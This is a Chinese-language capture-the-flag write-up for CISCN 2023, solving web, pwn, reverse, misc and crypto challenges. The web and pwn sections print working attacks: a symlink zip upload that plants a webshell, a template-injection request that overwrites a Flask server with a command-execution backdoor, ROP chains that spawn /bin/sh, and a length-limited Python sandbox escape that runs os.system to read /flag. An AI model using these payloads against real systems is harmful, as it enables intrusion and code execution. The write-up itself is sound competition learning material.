CISCN#2023

CISCN#2023

第一次参加国赛,纯纯坐牢

web

unzip

复现环境在ctfshow

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

解释一下就是,文件上传并解压,但是会传到tmp文件夹执行

-o参数会覆盖已存在的文件,覆盖软连接的前提条件(有的解压缩不会覆盖原有的同名文件)

可以先传一个包含软连接的文件,

再传一个同名的带马的文件

会通过软链接覆盖把⻢解压到网站根目录

软连接是linux中一个常用命令,它的功能是为某一个文件在另外一个位置建立一个同步的链接

先linux下命令创建软连接文件并压缩

1
2
ln -s /var/www/html shell//创建一个软连接文件shell
zip -y 1.zip shell//压缩shell到1.zip

上传1.zip,会解压里面的shell软连接到tmp下

这时候上传一个包含shell文件夹的压缩包

unzip后会把shell文件解压到tmp目录

而后shell软连接(第一次传的)会把第二次传的shell内的文件软连接到根目录并执行,可以放马拿shell

go_session

参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

三个路由

  • Index
  • Admin
  • Flask

先看Index路由,Index路由内容很简单,直接赋了个session,session中的name值为guest,这里发现session的key是通过SESSION_KEY环境变量获取的

再看Admin路由:

  • 这里对session做了验证,需要name为admin
  • 这里用pongo2做模板渲染,存在模板渲染漏洞

接着看Flask路由:

  • Flask路由会请求靶机里5000端口服务,并把请求页面回显

经过测试,得到以下结论:

  • 5000端口为python的flask服务,开启了debug模式,源码不存在ssti漏洞
  • session默认key为空,可以直接伪造admin用户

flask源码可以通过让flask报错获取:

1
/flask?name=/

本题正确思路如下:

  1. 由于session默认key为空,伪造admin用户后可以调用Admin路由
  2. Admin路由中存在pongo2模板注入漏洞,pongo2模板语法可以参考Django模板语法
  3. 通过Django模板注入覆盖/app/server.py文件,由于python服务是可以“热部署”的,因此覆盖恶意文件后,再通过Flask路由调用即可RCE

再说一下错误思路:

  • 错误思路是利用pongo2模板语法读取算PIN所需的文件,计算出PIN后通过Flask路由请求/console实现RCE,但是想在/console中执行命令仅通过GET传参是无法完成验证的,并且后续执行代码请求都需要携带Cookie验证,所以这条路走不通

首先获取一下admin用户的session:

  • 把下方代码加到route里,访问即可拿到伪造后的session
1
2
3
4
5
6
func Key(c *gin.Context) {
session, _ := store.Get(c.Request, "session-name")
session.Values["name"] = "admin"
session.Save(c.Request, c.Writer)
c.String(200, "Hello, guest")
}

admin用户的session如下:

1
MTY4NTE2OTE4MHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzUn0khtUAglbEqre0c-3PmfQg0snOpUCSYyvq07U4AKw==

接着构造请求包覆盖/app/server.py:

  • 注意name值需要url编码
  • c.HandlerName的值为main/route.Admin,接着用first过滤器获取到的就是m字符,用last过滤器获取到的就是n字符
  • 注意GET请求也是可以使用表单上传文件的
1
/admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py

完整的HTTP请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
GET /admin?name=%7B%25set%20form%3Dc.Query(c.HandlerName%7Cfirst)%25%7D%7B%25set%20path%3Dc.Query(c.HandlerName%7Clast)%25%7D%7B%25set%20file%3Dc.FormFile(form)%25%7D%7B%7Bc.SaveUploadedFile(file%2Cpath)%7D%7D&m=file&n=/app/server.py HTTP/1.1
Host: 970fe693-65cb-4674-8904-37a38a64cfd6.node.domain.com:9123
Content-Length: 564
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwT9VdDXSgZPm0yn
Cookie: session-name=MTY4NTE2OTE4MHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzUn0khtUAglbEqre0c-3PmfQg0snOpUCSYyvq07U4AKw==
Connection: close

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="file"; filename="server.py"
Content-Type: image/jpeg

from flask import Flask, request
import os
app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
res = os.popen(name).read()
return res + " no ssti"


if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryqwT9VdDXSgZPm0yn--

接着访问Flask请求即可getshell

1
/flask?name=?name=cat${IFS}/t*

PWN

烧烤摊儿

静态链接和动态链接最直白的区别就是一个代码多一个代码少,因为静态是把所有的代码融合到一个可执行文件里面,而动态链接是将那些可能用不到的函数放到dll或者其他文件里

1,所以第一步发现这个文件很大,有很多东西猜测就是静态链接,静态链接就可以使用ROPgadget构建ropchian

1
ROPgadget --binary 文件名 --ropchain  生成一个rop

函数调用关系简易,但函数居多,大概就是静态链接的

2.分析题目

(1)主函数里面有5个分支,分别是pijiu,chuan,yue,vip,gaiming,通过分析我们发现前面4个函数里面根本没有溢出点,在gaiming中才有一个read,但这个函数是需要条件才能进入的,就是需要在vip函数中用10000买下烧烤摊,初始只有233元,通过分析pijiu和chuan我们发现了整形溢出漏洞

3.所以整体的思路就是 整形溢出->计算溢出点->获取rop

点进去就能看到溢出的大小,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *
from struct import pack




# p = remote('39.107.137.13',37284)


sh = process('shaokao')


sh.sendline('1')
# pause()
sh.sendline('3')
sh.sendline('-500000')
# pause()
sh.sendline('3')
# pause()
sh.sendline('4')


sh.sendline('5')


p = b'a'*0x28


p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall


sh.sendline(p)
sh.interactive()

法二:使用ret2syscall,前面步骤都是一样的,首先就是到溢出点,然后既然是静态链接,就很大概率包含了我们需要的所有rop片段(为了做这个我又学了一遍64位的syscall)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *


context(arch='amd64', os='linux', log_level='debug')


sh = process('shaokao')


sh.sendline('1')
sh.sendline('3')
sh.sendline('-500000')
sh.sendline('3')
sh.sendline('4')
sh.sendline('5')




rdi = 0x40264F
rsi = 0x40A67E
rax = 0x458827
syscall = 0x402404
data = 0x04E60F0
rdx = 0x4A404B
p = b'/bin/sh\x00'.ljust(0x28,b'a')+ p64(rax) + p64(59) + p64(rdi) + p64(data) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(0) + p64(syscall)
sh.sendline(p)
sh.interactive()

RE

babyre

小学生编程器

https://shimo.im/file-invite/n3tTF5DcSFoQNaHijyyJhd2NOGGN6/

1.首先使用浏览器打开这个文件,发现最上面有一个网站,直接访问,打开那个xml文件

2.首先点击右边的锁(加密函数),然后点击上面的按钮(步入),在这个一串数据上单击,使其步入到这个地方,然后右击数据,选择export,导出他的数据

3.前面是步骤,现在我来简单的描述一下他的加密步骤,

首先经过前面的函数,这几个东西除了secret都有了数据,经过这一串得到secret数据,至于数据的位置,在at后面,可以自己看一下,不重要,经过上面步入操作后,secret就有了数据

4.把数据提出来后,观察JavaScript函数,前面就是说明是异或,后面就是异或前后的数据,是从一个地方提取的,只不过分一个先后,大概就是a[i] ^ a[i-1] ,一直执行,但一开始我以为是一个一个的前后异或就好,但出来的是乱码,后来发现是要把异或后的数据放入a[i]才可以后续异或

1
2
3
4
5
6
7
8
secret = [102,10,13,6, 28,74,3, 1, 3, 7, 85,0, 4, 75,20,92,92,8, 28,25,81,83,7, 28,76,88,9, 0, 29,73,0, 86,4, 87,87,82,84,85,4, 85,87,30]


key = [102,10,13,6,28,20,48,44,27,1,29,43,54,54,59,11,1,26,43,52,5,1,24,40,43,28,9,21,9]
result = []
for i in range(1,len(secret)):
secret[i] ^= secret[i-1]
print(chr(secret[i]),end='')

MISC

签到卡

提示是print(open(’/etc/passwd’).read())

存在任意文件读取

猜测flag在根目录

print(open(’/flag’).read())

打印出flag

国粹

国粹麻将,但是不会打麻将也可以做

a.png和k.png分别是x和y轴坐标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# 导入PIL库中的Image模块
from PIL import Image
# 设置单元格的宽度和高度
ew, eh = 53, 73
# 打开题目图像文件,并获取其大小
table_pic = Image.open('题目.png')
ti_w, ti_h = table_pic.size

# 创建一个长度为42的列表,用于存储所有单元格的颜色值
color = [0] * 42
# 遍历所有单元格,提取每个单元格的颜色值
for i in range(1, 43):
pic = []
for y in range(eh):
for x in range(ew):
# 获取指定位置的像素值,并将其第一个元素(即红色通道的值)添加到pic列表中
pic.append(table_pic.getpixel((53*i + x, y))[0])
color[i-1] = pic
# 打开包含字母K的图像文件,并获取其大小
k_pic = Image.open('k.png')
k_w, k_h = k_pic.size

# 创建一个空列表,用于存储包含字母K的单元格在网格中的索引
flag_ind = []

# 遍历包含字母K的图像文件中的所有单元格
for i in range(k_w // 53):
pic = []
for y in range(eh):
for x in range(ew):
# 获取指定位置的像素值,并将其第一个元素(即红色通道的值)添加到pic列表中
pic.append(k_pic.getpixel((53*i + x, y))[0])
# 找到pic在color列表中的索引,即相应单元格的索引,并将其添加到flag_ind列表中
ind = color.index(pic)
flag_ind.append(ind)

# 打开包含字母A的图像文件,并获取其大小
a_pic = Image.open('a.png')
a_w, a_h = a_pic.size

# 创建一个空列表,用于存储包含字母A的单元格在网格中的索引
a_ind = []

# 遍历包含字母A的图像文件中的所有单元格
for i in range(a_w // 53):
pic = []
for y in range(eh):
for x in range(ew):
# 获取指定位置的像素值,并将其第一个元素(即红色通道的值)添加到pic列表中
pic.append(a_pic.getpixel((53*i + x, y))[0])
# 找到pic在color列表中的索引,即相应单元格的索引,并将其添加到a_ind列表中
ind = color.index(pic)
a_ind.append(ind)

# 创建一个新的灰度图像,大小为42x42像素,初始化为所有像素都设置为白色(即值为255)
new_pic = Image.new('L', (42, 42), 255)
# 遍历包含字母A的单元格在网格中的索引,将相应的像素设置为黑色(即值为0)
for i in range(len(a_ind)):
# 根据flag_ind和a_ind列表中的索引,设置相应位置的像素为黑色
new_pic.putpixel((flag_ind[i], a_ind[i]), 0)
# 显示生成的图像
new_pic.show()

flag{202305012359}

脚本2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import matplotlib.pyplot as plt

data = [(1,4),(1,5),(1,10),(1,30),(2,3),(2,4),(2,5),(2,6),(2,10),(2,29),(2,30),(3,3),(3,4),(3,10),(3,16),(3,17),(3,22),(3,23),(3,24),(3,25),(3,29),(3,30),(4,2),(4,3),(4,4),(4,5),(4,10),(4,15),(4,16),(4,18),(4,21),(4,22),(4,24),(4,25),(4,29),(4,30),(5,3),(5,4),(5,10),(5,15),(5,17),(5,18),(5,19),(5,21),(5,22),(5,25),(5,28),(5,29),(6,3),(6,4),(6,10),(6,15),(6,16),(6,18),(6,19),(6,21),(6,22),(6,25),(6,29),(7,3),(7,4),(7,10),(7,11),(7,12),(7,13),(7,15),(7,18),(7,19),(7,22),(7,23),(7,24),(7,25),(7,29),(7,30),(8,3),(8,4),(8,11),(8,12),(8,15),(8,16),(8,17),(8,18),(8,19),(8,20),(8,25),(8,29),(8,30),(9,21),(9,22),(9,24),(9,25),(9,30),(9,31),(10,23),(10,24),(12,22),(12,23),(12,24),(12,25),(13,2),(13,3),(13,4),(13,5),(13,9),(13,10),(13,11),(13,12),(13,16),(13,17),(13,18),(13,19),(13,24),(13,25),(14,2),(14,5),(14,6),(14,9),(14,12),(14,19),(14,23),(14,24),(15,5),(15,9),(15,12),(15,18),(15,19),(15,22),(15,23),(16,4),(16,5),(16,9),(16,12),(16,17),(16,18),(16,23),(16,24),(17,3),(17,4),(17,9),(17,12),(17,16),(17,17),(17,24),(17,25),(18,3),(18,9),(18,12),(18,16),(18,25),(19,3),(19,4),(19,5),(19,6),(19,9),(19,10),(19,11),(19,12),(19,16),(19,17),(19,18),(19,19),(19,21),(19,22),(19,23),(19,24),(19,25),(20,10),(20,11),(22,3),(22,4),(22,5),(22,6),(22,10),(22,11),(22,12),(22,17),(22,18),(22,19),(22,24),(22,25),(23,3),(23,6),(23,7),(23,9),(23,10),(23,16),(23,17),(23,19),(23,20),(23,22),(23,23),(23,24),(23,25),(24,3),(24,6),(24,7),(24,9),(24,10),(24,16),(24,19),(24,20),(24,24),(24,25),(25,3),(25,6),(25,7),(25,10),(25,11),(25,12),(25,16),(25,19),(25,20),(25,24),(25,25),(26,3),(26,6),(26,7),(26,12),(26,13),(26,16),(26,19),(26,20),(26,24),(26,25),(27,3),(27,6),(27,7),(27,9),(27,12),(27,13),(27,16),(27,19),(27,20),(27,24),(27,25),(28,3),(28,4),(28,6),(28,9),(28,10),(28,11),(28,12),(28,16),(28,17),(28,19),(28,20),(28,24),(28,25),(29,4),(29,5),(29,17),(29,18),(29,19),(31,10),(31,11),(31,12),(31,13),(31,25),(31,31),(32,4),(32,5),(32,6),(32,10),(32,11),(32,12),(32,13),(32,17),(32,18),(32,19),(32,23),(32,24),(32,25),(32,26),(32,32),(33,3),(33,4),(33,6),(33,7),(33,12),(33,16),(33,17),(33,23),(33,24),(33,26),(33,32),(34,6),(34,7),(34,11),(34,16),(34,17),(34,23),(34,24),(34,26),(34,32),(35,6),(35,11),(35,12),(35,17),(35,18),(35,19),(35,23),(35,24),(35,25),(35,26),(35,33),(36,5),(36,12),(36,13),(36,19),(36,20),(36,26),(36,32),(37,4),(37,5),(37,13),(37,16),(37,19),(37,20),(37,25),(37,26),(37,32),(38,4),(38,5),(38,6),(38,7),(38,9),(38,10),(38,11),(38,12),(38,13),(38,16),(38,17),(38,18),(38,19),(38,24),(38,25),(38,31),(38,32),(39,23),(39,24),(39,31)
]

# 将 x 和 y 分别取出
x_data = [d[0] for d in data]
y_data = [d[1] for d in data]

# 绘制散点图
plt.scatter(x_data, y_data)

# 添加标题和坐标轴标签
plt.title("A simple scatter plot")
plt.xlabel("X-axis label")
plt.ylabel("Y-axis label")

# 显示图形
plt.show()

被加密的生产流量

题目名字是误导

tcp第0流有base32加密密文

MMYWMX3GNEYWOXZRGAYDA===

c1f_fi1g_1000

pyshell

这是一个python的命令窗口

但是限制了输入长度

所以可以通过_+”__”获取一个字符串变量 可以不断拼接绕过7个字符的限制

最长只能7位

eg:

依次输入’__imp’和 _+’ort’ 将字符串 拼接成

依次输入以下命令拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
'__imp'
_+'ort'
_+'__('
_+"'os"
_+"')."
_+"sys"
_+"tem"
_+"('c"
_+"at "
_+"/fl"
_+"ag'"
_+")"
eval(_)

CRYPTO

Sign_in_passwd

j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D

GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5

附件的两段

第二段url decode解码

GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

当第一段的base64码表

把base的基本的码表为:A–Z,a–z,0–9,+,/ 替换成url解码出来的码表

可信度量

非预期

  • 直接grep搜索一下:

  • grep -r “flag{“ /

末尾得到搜索到的文件结果,直接cat即可得到Flag。

基于国密SM2算法的密钥密文分发

上传名字,学校拿到 id

上传公钥

然后访问/api/quantum接口获取密文

查看新信息,直接访问/api/search接口 上传 quantumStringServer 的内容即可

babykey1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from hashlib import sha256
import random, os, signal, string

def proof_of_work():
random.seed(os.urandom(8))
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
_hexdigest = sha256(proof.encode()).hexdigest()
print(f"sha256(XXXX+{proof[4:]}) == {_hexdigest}")
print('Give me XXXX: ')
x = input()
if len(x) != 4 or sha256(x.encode()+proof[4:].encode()).hexdigest() != _hexdigest:
print('Wrong PoW')
return False
return True

if not proof_of_work():
exit(1)

signal.alarm(10)
print("Give me a bad RSA keypair.")

try:
p = int(input('p = '))
q = int(input('q = '))
assert p > 0
assert q > 0
assert p != q
assert p.bit_length() == 512
assert q.bit_length() == 512
assert isPrime(p)
assert isPrime(q)
n = p * q
e = 65537
assert p % e != 1
assert q % e != 1
d = inverse(e, (p-1)*(q-1))
except:
print("Invalid params")
exit(2)

try:
key = RSA.construct([n,e,d,p,q])
print("This is not a bad RSA keypair.")
exit(3)
except KeyboardInterrupt:
print("Hacker detected.")
exit(4)
except ValueError:
print("How could this happen?")
from secret import flag
print(flag)